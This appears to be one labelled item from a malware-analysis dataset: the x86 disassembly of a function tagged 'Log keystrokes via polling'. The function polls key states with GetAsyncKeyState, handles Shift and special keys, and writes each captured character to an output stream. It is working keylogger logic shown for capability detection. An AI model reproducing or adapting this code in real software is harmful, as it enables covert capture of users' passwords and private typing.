Function at 0x40157c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0xa4
mov dword [esp], 0x1b
call sym._GetAsyncKeyState_4
sub esp, 4
test ax, ax
jns 0x4015ae
mov dword [esp], 0x11
call sym._GetAsyncKeyState_4
sub esp, 4
test ax, ax
js 0x4015b5
mov eax, 1
jmp 0x4015ba
mov eax, 0
test al, al
je 0x401a38
movzx eax, word [0x405006]
cwde
mov dword [esp], eax
call sym._Sleep_4
sub esp, 4
mov dword [ebp - 0xc], 8
cmp dword [ebp - 0xc], 0xe2
jg 0x401972
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._GetAsyncKeyState_4
sub esp, 4
shr ax, 0xf
test al, al
je 0x401969
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym.special_int_
xor eax, 1
test al, al
je 0x401969
cmp dword [ebp - 0xc], 0x40
jle 0x40166e
cmp dword [ebp - 0xc], 0x5a
jg 0x40166e
mov dword [esp], 0x10
call sym._GetAsyncKeyState_4
sub esp, 4
test ax, ax
js 0x40164e
movzx eax, byte [0x408020]
xor eax, 1
test al, al
je 0x40164e
mov eax, 1
jmp 0x401653
mov eax, 0
test al, al
je 0x40165b
add dword [ebp - 0xc], 0x20
mov eax, dword [ebp - 0xc]
movsx eax, al
mov dword [esp], eax
call sym.write_char_
jmp 0x401969
cmp dword [ebp - 0xc], 0x2f
jle 0x401747
cmp dword [ebp - 0xc], 0x39
jg 0x401747
mov dword [esp], 0x10
call sym._GetAsyncKeyState_4
sub esp, 4
test ax, ax
js 0x4016ab
movzx eax, byte [0x408020]
xor eax, 1
test al, al
je 0x4016ab
mov eax, 1
jmp 0x4016b0
mov eax, 0
test al, al
je 0x4016c7
mov eax, dword [ebp - 0xc]
movsx eax, al
mov dword [esp], eax
call sym.write_char_
jmp 0x401969
mov eax, dword [ebp - 0xc]
sub eax, 0x30
cmp eax, 9
ja case.default.0x4016d9
mov eax, dword [eax*4 + 0x4060ac]
jmp eax
mov dword [ebp - 0xc], 0x3d
jmp case.default.0x4016d9
mov dword [ebp - 0xc], 0x21
jmp case.default.0x4016d9
mov dword [ebp - 0xc], 0x22
jmp case.default.0x4016d9
mov dword [ebp - 0xc], 0xc2a7
jmp case.default.0x4016d9
mov dword [ebp - 0xc], 0x24
jmp case.default.0x4016d9
mov dword [ebp - 0xc], 0x25
jmp case.default.0x4016d9
mov dword [ebp - 0xc], 0x26
jmp case.default.0x4016d9
mov dword [ebp - 0xc], 0x2f
jmp case.default.0x4016d9
mov dword [ebp - 0xc], 0x28
jmp case.default.0x4016d9
mov dword [ebp - 0xc], 0x29
nop
mov eax, dword [ebp - 0xc]
movsx eax, al
mov dword [esp], eax
call sym.write_char_
jmp 0x401969
mov eax, dword [ebp - 0xc]
sub eax, 0xc0
cmp eax, 0x22
ja case.0x40175f.193
mov eax, dword [eax*4 + 0x4060d4]
jmp eax
lea eax, [ebp - 0x7d]
mov ecx, eax
call fcn.004026bc
mov dword [esp], 0x10
call sym._GetAsyncKeyState_4
sub esp, 4
test ax, ax
jns 0x401786
mov ecx, 0x406096
jmp 0x40178b
mov ecx, 0x406098
lea eax, [ebp - 0x98]
lea edx, [ebp - 0x7d]
mov dword [esp + 4], edx
mov dword [esp], ecx
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x98]
mov dword [esp], eax
call sym.writeSpecial_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea eax, [ebp - 0x98]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0x7d]
mov ecx, eax
call sym.std::allocator_char_::allocator__
jmp 0x401969
lea eax, [ebp - 0x61]
mov ecx, eax
call fcn.004026bc
mov dword [esp], 0x10
call sym._GetAsyncKeyState_4
sub esp, 4
test ax, ax
jns 0x4017f4
mov ecx, 0x406096
jmp 0x4017f9
mov ecx, 0x40609b
lea eax, [ebp - 0x7c]
lea edx, [ebp - 0x61]
mov dword [esp + 4], edx
mov dword [esp], ecx
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x7c]
mov dword [esp], eax
call sym.writeSpecial_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea eax, [ebp - 0x7c]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0x61]
mov ecx, eax
call sym.std::allocator_char_::allocator__
jmp 0x401969
lea eax, [ebp - 0x45]
mov ecx, eax
call fcn.004026bc
mov dword [esp], 0x10
call sym._GetAsyncKeyState_4
sub esp, 4
test ax, ax
jns 0x401859
mov ecx, str.
jmp 0x40185e
mov ecx, 0x4060a1
lea eax, [ebp - 0x60]
lea edx, [ebp - 0x45]
mov dword [esp + 4], edx
mov dword [esp], ecx
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x60]
mov dword [esp], eax
call sym.writeSpecial_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea eax, [ebp - 0x60]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0x45]
mov ecx, eax
call sym.std::allocator_char_::allocator__
jmp 0x401969
lea eax, [ebp - 0x29]
mov ecx, eax
call fcn.004026bc
mov dword [esp], 0x10
call sym._GetAsyncKeyState_4
sub esp, 4
test ax, ax
jns 0x4018be
mov ecx, 0x4060a3
jmp 0x4018c3
mov ecx, 0x406098
lea eax, [ebp - 0x44]
lea edx, [ebp - 0x29]
mov dword [esp + 4], edx
mov dword [esp], ecx
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x44]
mov dword [esp], eax
call sym.writeSpecial_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea eax, [ebp - 0x44]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0x29]
mov ecx, eax
call sym.std::allocator_char_::allocator__
jmp 0x401969
lea eax, [ebp - 0xd]
mov ecx, eax
call fcn.004026bc
mov dword [esp], 0x10
call sym._GetAsyncKeyState_4
sub esp, 4
test ax, ax
jns 0x401920
mov ecx, 0x4060a5
jmp 0x401925
mov ecx, 0x4060a7
lea eax, [ebp - 0x28]
lea edx, [ebp - 0xd]
mov dword [esp + 4], edx
mov dword [esp], ecx
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x28]
mov dword [esp], eax
call sym.writeSpecial_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea eax, [ebp - 0x28]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0xd]
mov ecx, eax
call sym.std::allocator_char_::allocator__
jmp 0x401969
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym.special_int_
nop
add dword [ebp - 0xc], 1
jmp 0x4015dc
mov ecx, 0x408040
call sym.std::ostream::flush__
jmp 0x401586
nop
mov ebx, dword [ebp - 4]
leave
ret